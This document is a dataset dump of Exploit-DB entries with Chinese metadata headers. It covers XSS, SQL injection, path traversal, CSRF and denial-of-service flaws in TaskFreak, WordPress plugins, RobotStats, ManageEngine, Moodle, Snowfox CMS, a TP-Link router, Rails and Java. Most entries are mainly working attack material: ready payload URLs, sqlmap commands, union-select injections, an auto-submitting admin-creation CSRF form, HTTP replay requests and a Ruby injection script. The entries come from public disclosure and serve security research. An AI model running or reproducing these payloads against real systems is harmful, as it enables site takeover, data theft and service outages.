QLWD/code_shield huggingface dataset:
标题: TaskFreak! 0.6.4 - 'rss.php' HTTP Referer Header Cross-Site Scripting EDB-ID: 35338 CVE: 2011-1062 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/46350/info
  
TaskFreak! is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
TaskFreak! 0.6.4 is vulnerable; other versions may also be affected. 

GET /taskfreak/rss.php HTTP/1.1  

Referer: ">Waddup!  

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  

Host: localhost  

Connection: Keep-alive  

Accept-Encoding: gzip,deflate  

Accept: */* URL: https://www.exploit-db.com/exploits/35338
标题: WordPress Plugin DukaPress 2.5.2 - Directory Traversal EDB-ID: 35346 CVE: 2014-8799 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-24 漏洞利用脚本: # Exploit Title: DukaPress 2.5.2 Path Traversal
# Date: 27-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/dukapress.2.5.2.zip
# Category: webapps
# CVE: CVE-2014-8799
  
1. Description

dp_img_resize() returns $_REQUEST['src'] if $_REQUEST['w'] and $_REQUEST['h'] doesn't exist.

File: dukapress\lib\dp_image.php
if (!function_exists('add_action')) {
    require_once('../../../../wp-load.php');
}

echo file_get_contents(dp_img_resize('', $_REQUEST['src'],$_REQUEST['w'], $_REQUEST['h']));
 
http://security.szurek.pl/dukapress-252-path-traversal.html
  
2. Proof of Concept
  
http://wordpress-url/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
  
3. Solution:
  
Update to version 2.5.4

https://downloads.wordpress.org/plugin/dukapress.2.5.4.zip
https://plugins.trac.wordpress.org/changeset/1024640/dukapress URL: https://www.exploit-db.com/exploits/35346
标题: WordPress Plugin wpDataTables 1.5.3 - SQL Injection EDB-ID: 35340 CVE: 2014-9175 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-24 漏洞利用脚本: ######################

# Exploit Title : Wordpress wpDataTables 1.5.3 and below SQL Injection Vulnerability

# Exploit Author : Claudio Viviani 

# Software Link : http://wpdatatables.com (Premium)

# Date : 2014-11-22

# Tested on : Windows 7 / Mozilla Firefox
              Windows 7 / sqlmap (0.8-1)
              Linux / Mozilla Firefox
              Linux / sqlmap 1.0-dev-5b2ded0

######################


# Description

Wordpress wpDataTables 1.5.3 and below suffers from SQL injection vulnerability

"table_id" variable is not sanitized.

File: wpdatatables.php
------------------------
    // AJAX-handlers
    add_action( 'wp_ajax_get_wdtable', 'wdt_get_ajax_data' );
    add_action( 'wp_ajax_nopriv_get_wdtable', 'wdt_get_ajax_data' );

 /**
  * Handler which returns the AJAX response
  */
  function wdt_get_ajax_data(){
   $id = $_GET['table_id']; <------------------- Not Sanitized!
     $table_data = wdt_get_table_by_id( $id );
     $column_data = wdt_get_columns_by_table_id( $id );
     $column_headers = array();
     $column_types = array();
     $column_filtertypes = array();
     $column_inputtypes = array();
     foreach($column_data as $column){
       $column_order[(int)$column->pos] = $column->orig_header;
       if($column->display_header){
        $column_headers[$column->orig_header] = $column->display_header;
       }
       if($column->column_type != 'autodetect'){
        $column_types[$column->orig_header] = $column->column_type;
       }else{
        $column_types[$column->orig_header] = 'string';
       } 
       $column_filtertypes[$column->orig_header] = $column->filter_type;
       $column_inputtypes[$column->orig_header] = $column->input_type;
     }
------------------------

(The vulnerable variable is located in others php files)


######################

# PoC

http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 [Sqli]

# Sqlmap

sqlmap -u "http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1" -p table_id --dbms mysql

---
Parameter: table_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=get_wdtable&table_id=1 AND 9029=9029

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=get_wdtable&table_id=1 AND SLEEP(5)

---


#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
  
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

##################### URL: https://www.exploit-db.com/exploits/35340
标题: TP-Link TL-WR740N - Denial of Service EDB-ID: 35345 CVE: 2014-9350 类型: DOS 平台: HARDWARE 发布日期: 2014-11-24 漏洞利用脚本: TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service


Vendor: TP-LINK Technologies Co., Ltd.
Product web page: http://www.tp-link.us

Affected version:

- Firmware version: 3.17.0 Build 140520 Rel.75075n (Released: 5/20/2014)
- Firmware version: 3.16.6 Build 130529 Rel.47286n (Released: 5/29/2013)
- Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)
- Hardware version: WR740N v4 00000000 (v4.23)
- Model No. TL-WR740N / TL-WR740ND

Summary: The TL-WR740N is a combined wired/wireless network connection
device integrated with internet-sharing router and 4-port switch. The
wireless N Router is 802.11b&g compatible based on 802.11n technology
and gives you 802.11n performance up to 150Mbps at an even more affordable
price. Bordering on 11n and surpassing 11g speed enables high bandwidth
consuming applications like video streaming to be more fluid.

Desc: The TP-Link WR740N Wireless N Router network device is exposed to a
denial of service vulnerability when processing a HTTP GET request. This
issue occurs when the web server (httpd) fails to handle a HTTP GET request
over a given default TCP port 80. Resending the value 'new' to the 'isNew'
parameter in 'PingIframeRpm.htm' script to the router thru a proxy will
crash its httpd service denying the legitimate users access to the admin
control panel management interface. To bring back the http srv and the
admin UI, a user must physically reboot the router.

Tested on: Router Webserver


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5210
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5210.php


13.11.2014

---


Replay

GET /userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&lineNum=1 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive URL: https://www.exploit-db.com/exploits/35345
标题: Ruby on Rails 3.0.5 - 'WEBrick::HTTPRequest' Module HTTP Header Injection EDB-ID: 35352 CVE: 2011-3187 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/46423/info

Ruby on Rails is prone to a vulnerability that allows attackers to inject arbitrary content into the 'X-Forwarded-For', 'X-Forwarded-Host' and 'X-Forwarded-Server' HTTP headers because the 'WEBrick::HTTPRequest' module fails to sufficiently sanitize input.

By inserting arbitrary data into the affected HTTP header field, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.

NOTE: This issue only affects requests sent from clients on the same subnet as the server.

Ruby on Rails 3.0.5 is vulnerable; other versions may also be affected. 

#Encoding: UTF-8
#
# Log-File-Injection - Ruby on Rails 3.05
# possibilities:
# - possible date back attacks (tried with request-log-analyzer: worked but teaser_check_warnings)
# - ip spoofing
# - binary log-injections
# - DOS if ip is used with an iptables-ban-script
#
# !! works only on intranet apps !!
#
# Fix:
# validate request.remote_ip until they fix it
# -----------------------
# jimmybandit.com
# http://webservsec.blogspot.com

require 'rubygems'
require 'mechanize'
require 'iconv'

ip = "192.168.1.21 "
# some shell code just for binary-data demo

payload = ip + "at Mon Jan 01 00:00:00 +1000 2009\x0D\0x0A"    # date back attacks with ipspoofing
# payload = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"      binarypayload is also possible

a = Mechanize.new 
a.pre_connect_hooks << lambda { |p| p[:request]['X-Forwarded-For'] = payload }

page = a.get('http://192.168.1.21/people')

# results 
=begin
################################
production.log:
################################
Started GET "/people" for 192.168.1.21 at Mon Jan 01 00:00:00 +1000 2009 at Sun Mar 13 17:47:47 +0100 2011
  Processing by PeopleController#index as 
Rendered people/index.html.erb within layouts/application (24.4ms)
Completed 200 OK in 63ms (Views: 32.9ms | ActiveRecord: 3.6ms)

################################
request-log-analyzer:
################################
web@debian:~/testapp/log$ request-log-analyzer production.log 
Request-log-analyzer, by Willem van Bergen and Bart ten Brinke - version 1.10.0
Website: http://railsdoctors.com

production.log:          100% [==========] Time: 00:00:00

Request summary
???????????????????????
Parsed lines:        14                    
Skipped lines:       0   <-------                 
Parsed requests:     7   <-------                  
Skipped requests:    0                     
Warnings:            teaser_check_failed: 7

First request:       2009-01-01 00:00:12
Last request:        2009-01-01 00:00:12
Total time analyzed: 0 days 
Request distribution per hour
????????????????????????????
  0:00 ? 7 hits/day ? ���������������������������������
  1:00 ? 0 hits/day ? 
  ...
=end URL: https://www.exploit-db.com/exploits/35352
标题: RobotStats 1.0 - 'robot' SQL Injection EDB-ID: 35344 CVE: 2014-9348 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-24 漏洞利用脚本: # Title         : RobotStats v1.0 (robot param) SQL Injection Vulnerability
# Author        : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home          : http://milw00rm.com / its online
# Twitter     : https://twitter.com/milw00rm or @milw00rm
# Date          : 22.11.2014
# Demo      : http://alpesoiseaux.free.fr/robotstats/
# Download      : http://www.robotstats.com/en/robotstats.zip
# Thks          : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
# Birkaciyiadam : Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali :)) )

sql inj.:

target.com/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10

you look other files for sql example (/robotstats/info-robot.php?robot=?)

analysis: (/admin/robots.php)

no security for admin folder (session control, login panel or anyone... maybe its different vulnerability)

include "robots.lib.php"; //line 26

else if ($rub == "modif")
{
  formulaireRobot($robot); //line 44  (we will be analysis to robots.lib.php for line)
}

analysis: (/admin/robots.lib.php)

function formulaireRobot($robot)  //line 71 (remember function line 44 in robots.php)
{
  global $RS_LANG, $RS_LANGUE, $RS_TABLE_ROBOTS, $RS_DETECTION_USER_AGENT, $RS_DETECTION_IP;

  if ($robot != -1)
  {
    $title = $RS_LANG["ModifyRobot"];
    $sql  = "SELECT *";
    $sql .= " FROM ".$RS_TABLE_ROBOTS;
    $sql .= " WHERE id=".$robot;  // line 80  (ver yansin amuga goyum!!!)
    $res  = mysql_query($sql) or erreurServeurMySQL($sql);
    $enr  = mysql_fetch_array($res);
    $rub  = "modif";
    $actif = $enr["actif"];
  } //line 85

for demo:

http://alpesoiseaux.free.fr/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10 URL: https://www.exploit-db.com/exploits/35344
标题: TaskFreak! 0.6.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 35336 CVE: 2011-1062 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/46350/info

TaskFreak! is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

TaskFreak! 0.6.4 is vulnerable; other versions may also be affected. 

<script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script>  

<form name="zappa" action="http://taskfreak/index.php" method="POST" id="zappa">  

    <input type="hidden" name="sProject" value="0" />  

        <input type="hidden" name="id" value="" />  

        <input type="hidden" name="mode" value="save" />  

    <input type="hidden" name="sContext" value='%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20' />  

        <input type="hidden" name="sort" value='"><script>alert(1)</script>' />  

        <input type="hidden" name="dir" value='"><script>alert(2)</script>' />  

        <input type="hidden" name="show" value='"><script>alert(3)</script>' />  

</form>  

<a href="javascript: xss();" style="text-decoration:none">  

<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a> URL: https://www.exploit-db.com/exploits/35336
标题: TaskFreak! 0.6.4 - 'print_list.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 35337 CVE: 2011-1062 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/46350/info
 
TaskFreak! is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
TaskFreak! 0.6.4 is vulnerable; other versions may also be affected. 

http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E  

http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E URL: https://www.exploit-db.com/exploits/35337
标题: ManageEngine ADSelfService Plus 4.4 - 'EmployeeSearch.cc' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 35331 CVE: 2010-3274 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/46331/info
 
ManageEngine ADSelfService Plus is prone to multiple vulnerabilities, including multiple security-bypass and cross-site scripting vulnerabilities.
 
Attackers can exploit these issues to bypass certain security restrictions and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help them steal cookie-based authentication credentials and launch other attacks.
 
ManageEngine ADSelfService Plus 4.4 is vulnerable; other versions may also be affected. 

http://www.example.com/EmployeeSearch.cc?actionId=showList&searchString=alice%22%20onmouseover=%22alert%28%27xss%27%29&parameterName=name&searchType=containshttp://www.example.com/EmployeeSearch.cc?actionId=Search&parameterName=name&searchType=contains&searchString=alice%22+onMouseOver%3D%22javascript%3Aalert%28%27xss%27%29 URL: https://www.exploit-db.com/exploits/35331
标题: ManageEngine ADSelfService Plus 4.4 - POST Manipulation Security Question EDB-ID: 35330 CVE: 2010-3272 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/46331/info

ManageEngine ADSelfService Plus is prone to multiple vulnerabilities, including multiple security-bypass and cross-site scripting vulnerabilities.

Attackers can exploit these issues to bypass certain security restrictions and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help them steal cookie-based authentication credentials and launch other attacks.

ManageEngine ADSelfService Plus 4.4 is vulnerable; other versions may also be affected. 

POST /accounts/ValidateAnswers?methodToCall=validateAll HTTP/1.1

Host: SERVER
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.example.com/accounts/ValidateUser
Cookie: JSESSIONID=8F93EB242EF06C51BE93EB0CEDA69085
Content-Type: application/x-www-form-urlencoded
Content-Length: 294

loginId=1501&Hide_Captcha=0&POLICY_ID=1&Confirm_Answer=1&SESSION_EXPIRY_TIME=5&LOGIN_NAME=alice&REM_SESSION_TIME=00%3A40&bAns=11111&bQues=PreDefined-2&bAns=22222&bQues=PreDefined-3&bAns=33333&bQues=PreDefined-4&bAns=44444&bQues=PreDefined-5&quesList=4&DIGEST=qodpgd&next=Continue&DIS_ALL_QUES=1 URL: https://www.exploit-db.com/exploits/35330
标题: Wireshark 1.4.3 - '.pcap' Memory Corruption EDB-ID: 35314 CVE: 2011-0538 类型: REMOTE 平台: LINUX 发布日期: 2011-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/46167/info

Wireshark is prone to a memory-corruption vulnerability because it fails to properly handle certain files.

Successful exploits may allow attackers to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely crash the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36128.pcap URL: https://www.exploit-db.com/exploits/35314
标题: Oracle Java - Floating-Point Value Denial of Service EDB-ID: 35304 CVE: 2010-4476 类型: DOS 平台: MULTIPLE 发布日期: 2011-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/46091/info

Oracle Java is prone to a remote denial-of-service vulnerability.

Successful attacks will cause applications written in Java to hang, creating a denial-of-service condition.

This issue affects both the Java compiler and Runtime Environment. 

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
} URL: https://www.exploit-db.com/exploits/35304
标题: WordPress Plugin Paid Memberships Pro 1.7.14.2 - Directory Traversal EDB-ID: 35303 CVE: 2014-8801 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-19 漏洞利用脚本: # Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal
# Date: 14-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip
# Category: webapps
# CVE: CVE-2014-8801
 
1. Description
 
getfile.php is accessible to everyone.
is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true.
$_SERVER['REQUEST_URI'] is not escaped.
 
http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html
 
2. Proof of Concept
 
http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php
 
3. Solution:
 
Update to version 1.7.15
http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip
http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/ URL: https://www.exploit-db.com/exploits/35303
标题: Moodle 2.0.1 - 'PHPCOVERAGE_HOME' Cross-Site Scripting EDB-ID: 35297 CVE: 2011-4280 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/46085/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Moodle 2.0.1 are vulnerable. 

http://www.example.com/moodle/lib/spikephpcoverage/src/phpcoverage.remote.top.inc.php?PHPCOVERAGE_HOME=[xss] URL: https://www.exploit-db.com/exploits/35297
标题: Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin) EDB-ID: 35301 CVE: 2014-9344 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-19 漏洞利用脚本: <!--

Snowfox CMS v1.0 CSRF Add Admin Exploit


Vendor: Globiz Solutions
Product web page: http://www.snowfoxcms.org
Affected version: 1.0

Summary: Snowfox is an open source Content Management System (CMS)
that allows your website users to create and share content based
on permission configurations.

Desc: Snowfox CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5205
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php



12.11.2014

-->


<html>
  <body>
    <form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="lab@zeroscience.mk" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="USERNAME" />
      <input type="hidden" name="newPassword" value="PASSWORD" />
      <input type="hidden" name="confirmPassword" value="PASSWORD" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/35301